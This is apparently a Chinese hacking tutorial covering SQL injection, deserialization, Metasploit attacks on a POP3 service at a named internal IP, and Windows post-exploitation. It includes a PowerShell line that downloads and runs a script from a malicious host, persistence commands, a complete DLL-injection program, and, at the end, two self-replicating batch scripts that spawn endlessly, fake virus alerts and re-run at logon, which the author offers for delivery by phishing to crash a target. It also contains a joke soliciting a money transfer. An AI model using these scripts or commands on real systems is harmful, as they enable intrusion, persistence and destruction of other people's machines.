目录
前言
SQL 注入
SQL 注入的种类
常见的注入点
预防措施
示例
POP 注入的基本概念
Kali Linux上使用Nmap、Metasploit和其他工具
进行POP3服务的漏洞测试
1. 初步扫描
2. 检查已知漏洞
3. 使用Metasploit
4. 使用Telnet手动测试
5. 检查远程代码执行漏洞
漏洞测试防御措施
反序列化漏洞的示例
防止POP注入预防措施
参考示例
使用PowerShell进行攻击
注册表操作
使用计划任务
DLL注入
防御措施
附加内容:慎用 注入靶机是windows系统造成无限循环,使其显卡处理器高程度损伤脚本。
注意:我是以内网IP110 10.8.165.51为靶机,你们的靶机IP用各自的
老师:我教你 HTML 、CSS3、 JavaScript ,各种流行框架,以后做个优秀前端。
你:不学,不学。
老师:我教你 Java , C #,各种数据库和底层协议,以后做个后端大拿。
你:不学,不学。
老师:我教你 Python , C ++,神经网路,机器学习,数据分析和统计,以后做个 AI 专家。
你:不学,不学。
老师怒砸键盘,转身而去。
半夜,老师把你叫到办公室,小声说:我教你黑客技术、木马投放,病毒设计、解密秘诀,外带赠送各大银行的安全漏洞,保你一毕业就能黑进中央银行。
你:对对对,我就想学这个。老师,我以后发大财怎么谢你?
老师:说什么谢不谢的,现在只需要给我转400元。就会收到我的328(黑吗喽)+22(奶茶)转帐可以截图。别人有的你也要有我不允许你输给任何人。为什么是400,因为多出来50我今天另有安排
SQL 注入(SQL Injection)是一种常见的网络攻击技术,攻击者通过在输入字段中插入恶意的 SQL 代码来操纵应用程序的数据库查询。这种攻击可以导致数据泄露、数据篡改、数据删除等严重后果。以下是关于 SQL 注入的详细介绍:
基于错误的 SQL 注入(Error-Based SQL Injection):
攻击者试图通过引发 SQL 错误来获取数据库的详细信息。例如,在输入字段中插入 ' OR 1=1 --
这样的代码,可以绕过登录验证,错误信息可能会暴露数据库的结构。
联合查询 SQL 注入(Union-Based SQL Injection):
使用 UNION
SQL 操作符联合两个查询结果,攻击者可以将恶意查询结果与合法查询结果联合返回。
基于布尔的盲注(Boolean-Based Blind SQL Injection):
攻击者无法直接看到数据库错误信息,通过观察应用程序行为的变化来推断数据库信息。例如,通过注入 ' AND 1=1 --
和 ' AND 1=2 --
,比较返回的页面是否相同。
基于时间的盲注(Time-Based Blind SQL Injection):
当无法获取错误信息或应用行为变化时,攻击者通过引入延时函数来推断数据库信息。例如,通过注入 ' OR IF(1=1, SLEEP(5), 0) --
,观察页面响应时间的变化。
使用预编译语句(Prepared Statements)和参数化查询:
这可以有效防止 SQL 注入,因为查询和数据是分离的,数据库不会将用户输入当作查询的一部分。例如:
Copy# Python 示例(使用 MySQL Connector)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
存储过程(Stored Procedures):
在数据库中预定义的SQL代码片段,应用程序通过调用存储过程而不是通过直接构造SQL查询来操作数据库。
输入验证和清理:
验证和清理用户输入,确保它们符合预期格式。例如,使用白名单来验证输入内容。
最小权限原则:
数据库账户应具有最低权限,只允许执行必要的操作,防止由于权限过大而导致更严重的攻击后果。
安全配置:
确保数据库的错误信息不暴露在用户界面,避免泄露数据库结构信息。关闭不必要的数据库功能和服务。
使用 Web 应用防火墙(WAF):
可以检测和拦截常见的 SQL 注入攻击。
假设有一个不安全的登录查询:
CopySELECT * FROM users WHERE username = 'admin' AND password = 'password';
攻击者可以在用户名字段中输入 admin' --
,密码字段可以随意输入:
CopySELECT * FROM users WHERE username = 'admin' -- ' AND password = 'password';
这将会绕过密码验证,直接登录为 admin 用户。
通过使用预编译语句,这种攻击将被防止:
Copy# 安全的方式
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
总之,SQL 注入是一种严重的安全威胁,但通过适当的预防措施,可以有效地防止这种攻击。
POP(Property Oriented Programming)注入是一种结合多种漏洞利用策略的高级攻击技术,通常用于绕过安全保护机制并执行任意代码。这种攻击技术不仅限于SQL注入,而是涉及到更广泛的漏洞利用,包括但不限于对象注入、反序列化漏洞、任意文件包含等。
POP 注入是利用程序内部对象的属性和方法来操纵程序执行流程。攻击者通过注入恶意的对象或数据,触发程序在特定条件下执行攻击者预先设计的代码。这种攻击常见于以下几种场景:
利用POP3服务的漏洞进行远程注入通常涉及利用该服务中的已知漏洞或配置错误。下面是一个基本的步骤指南,展示如何在Kali Linux上使用Nmap、Metasploit和其他工具进行POP3服务的漏洞测试。这是一个假设的例子,因为实际上攻击远程系统是非法的,除非您有明确的授权。
您已经使用Nmap扫描了目标并发现POP3服务在端口110上开放。下一步是更详细地扫描该端口以识别服务版本。
Copynmap -sV -p 110 10.8.165.51
使用Nmap脚本引擎检查POP3服务上的已知漏洞。
Copynmap --script pop3-brute -p 110 10.8.165.51
nmap --script vuln -p 110 10.8.165.51
Metasploit是一个非常强大的渗透测试框架,可以帮助我们进一步分析和利用发现的漏洞。
Copymsfconsole
Copysearch pop3
Copyuse exploit/windows/pop3/pop3_overflow
Copyset RHOST 10.8.165.51
set RPORT 110
Copyexploit
有时,手动测试服务是非常有帮助的。您可以使用Telnet连接到POP3服务并尝试手动注入命令。
Copytelnet 10.8.165.51 110
然后,您可以尝试发送一些基本的POP3命令,例如:
CopyUSER [username]
PASS [password]
如果目标系统确实非常脆弱,并且Administrator账户没有密码,那么攻击者可能会尝试一些已知的默认账户和密码组合来进行登录。
如果您发现POP3服务存在远程代码执行漏洞,您可以尝试利用这个漏洞执行任意命令。
Copymsfconsole
use exploit/windows/pop3/pop3_overflow
set RHOST 10.8.165.51
set RPORT 110
exploit
假设有一个简单的PHP序列化和反序列化的例子:
Copyname = $name;
$this->role = $role;
}
public function __wakeup() {
if ($this->role == 'admin') {
system('ls'); // 危险操作
}
}
}
$serializedUser = serialize(new User('user', 'admin'));
echo $serializedUser;
$unserializedUser = unserialize($serializedUser);
?>
在这个例子中,如果攻击者可以控制反序列化的输入数据,他们能够创建一个序列化的 User
对象,并把 role
属性设置为 'admin'
,这样在反序列化过程中就会执行 system('ls')
命令。
为了防止POP注入攻击,可以采取以下措施:
下面是一个改进后的PHP反序列化的示例,使用安全的方式处理反序列化操作:
Copyname = $name;
$this->role = $role;
}
}
// 安全反序列化函数
function safe_unserialize($data) {
$allowed_classes = ['SafeUser'];
return unserialize($data, ['allowed_classes' => $allowed_classes]);
}
// 模拟不可信数据的输入
$input = 'O:7:"SafeUser":2:{s:4:"name";s:4:"user";s:4:"role";s:5:"admin";}';
try {
$user = safe_unserialize($input);
if ($user instanceof SafeUser) {
echo "User name: " . $user->name . "
";
echo "User role: " . $user->role . "
";
} else {
throw new Exception("Invalid object type");
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
?>
在这个示例中,safe_unserialize
函数通过 allowed_classes
选项限制反序列化的类为 SafeUser
,从而防止攻击者利用其他类进行恶意操作。
总之,POP注入是一种复杂且强大的攻击技术,但通过合理的安全措施,可以有效地防止这种攻击
在Windows环境下,如果攻击者已经获得了对系统的访问权限,并且Administrator账号没有密码保护,这无疑会使整个系统暴露在巨大的风险之中。以下是攻击者可能利用这种情况的几种方法:
PowerShell是Windows上的脚本语言和任务自动化框架,功能非常强大。如果攻击者可以使用Administrator权限运行PowerShell脚本,他们可以执行几乎任何操作,包括下载和执行恶意代码。
Copy# 下载并执行远程恶意脚本的示例
Invoke-WebRequest -Uri "http://malicious-website.com/malware.ps1" -OutFile "C:\Temp\malware.ps1"
powershell -ExecutionPolicy Bypass -File "C:\Temp\malware.ps1"
攻击者可以通过修改注册表来达到持久化目的,例如在启动时自动运行恶意程序。
Copy# 添加启动项
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "EvilScript" -Value "C:\Path\To\EvilScript.ps1"
攻击者还可以创建计划任务,在特定时间或触发器下执行恶意代码。
Copy# 创建一个计划任务
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:\Path\To\EvilScript.ps1'
$trigger = New-ScheduledTaskTrigger -AtLogon
$principal = New-ScheduledTaskPrincipal -UserId "Administrator" -LogonType Password -RunLevel Highest
Register-ScheduledTask -TaskName "EvilTask" -Action $action -Trigger $trigger -Principal $principal
攻击者可以将恶意代码注入到合法的Windows进程中以隐藏其活动。以下是一个简单的例子,说明如何使用C语言进行DLL注入:
Copy#include
#include
DWORD GetProcessIdByName(const char* processName) {
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &processEntry)) {
do {
if (strcmp(processEntry.szExeFile, processName) == 0) {
CloseHandle(snapshot);
return processEntry.th32ProcessID;
}
} while (Process32Next(snapshot, &processEntry));
}
CloseHandle(snapshot);
return 0;
}
int main() {
const char* dllPath = "C:\\Path\\To\\Evil.dll";
const char* targetProcess = "explorer.exe";
DWORD processID = GetProcessIdByName(targetProcess);
if (processID == 0) {
printf("Process not found.
");
return 1;
}
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (processHandle == NULL) {
printf("Could not open process.
");
return 1;
}
LPVOID allocatedMemory = VirtualAllocEx(processHandle, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (allocatedMemory == NULL) {
printf("Could not allocate memory.
");
CloseHandle(processHandle);
return 1;
}
if (!WriteProcessMemory(processHandle, allocatedMemory, dllPath, strlen(dllPath) + 1, NULL)) {
printf("Could not write to process memory.
");
VirtualFreeEx(processHandle, allocatedMemory, 0, MEM_RELEASE);
CloseHandle(processHandle);
return 1;
}
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, allocatedMemory, 0, NULL);
if (remoteThread == NULL) {
printf("Could not create remote thread.
");
VirtualFreeEx(processHandle, allocatedMemory, 0, MEM_RELEASE);
CloseHandle(processHandle);
return 1;
}
WaitForSingleObject(remoteThread, INFINITE);
VirtualFreeEx(processHandle, allocatedMemory, 0, MEM_RELEASE);
CloseHandle(remoteThread);
CloseHandle(processHandle);
return 0;
}
总之,确保系统安全的最基本措施是设置强密码,并限制高权限账户的使用。如果攻击者已经获得了Administrator权限,系统就可能面临一系列严重的安全威胁。采取适当的防御措施可以有效减轻这些威胁。
vim 1.bat.txt
@echo off
color 17
::修改CMD控制台前景色和背景色
copy 1.bat c:\windows\
copy 2.bat c:\windows\
::拷贝脚本至c:\windows\
start /b c:\windows\1.bat
::新建窗口启动c:\windows\1号脚本
start /b c:\windows\2.bat
::新建窗口启动c:\windows\2号脚本
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
::弹出提示框
start /b 1.bat
::新建窗口启动1号脚本
start /b 2.bat
::新建窗口启动2号脚本
echo 病毒告警
::CMD回显信息
schtasks /create /tn "system1" /tr c:\windows\1.bat /sc ONLOGON
schtasks /create /tn "system2" /tr c:\windows\2.bat /sc ONLOGON
::设置使用户登录时触发1号及2号执行脚本
::pause
::按任意键继续
exit
vim 2.bat.txt
@echo off
color 17
::修改CMD控制台前景色和背景色
copy 1.bat c:\windows\
copy 2.bat c:\windows\
::拷贝脚本至c:\windows\
start /b c:\windows\1.bat
::新建窗口启动c:\windows\1号脚本
start /b c:\windows\2.bat
::新建窗口启动c:\windows\2号脚本
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
start /b mshta vbscript:msgbox("发现病毒",64,"系统报错")(window.close)
::弹出提示框
start /MAX 2.bat
::新建窗口启动2号脚本
start /MAX 1.bat
::新建窗口启动1号脚本
echo 病毒告警
::CMD回显信息
schtasks /create /tn "system1" /tr c:\windows\1.bat /sc ONLOGON
start /b mshta vbscript:msgbox("给你个教训,关机多次重启吧,不要没事瞎扫描别人电脑")(window.close)
::设置使用户登录时触发1号及#2号执行脚本
::pause
::按任意键继续
exit
确认无误:重命名文件,配置额外的配置如pop注入,smtp注入,sql注入,钓鱼邮件链接等等,注入到靶机,使其电脑死机,且死循环多次,重启无效
mv 1.bat.txt 1.bat
mv 2.bat.txt 2.bat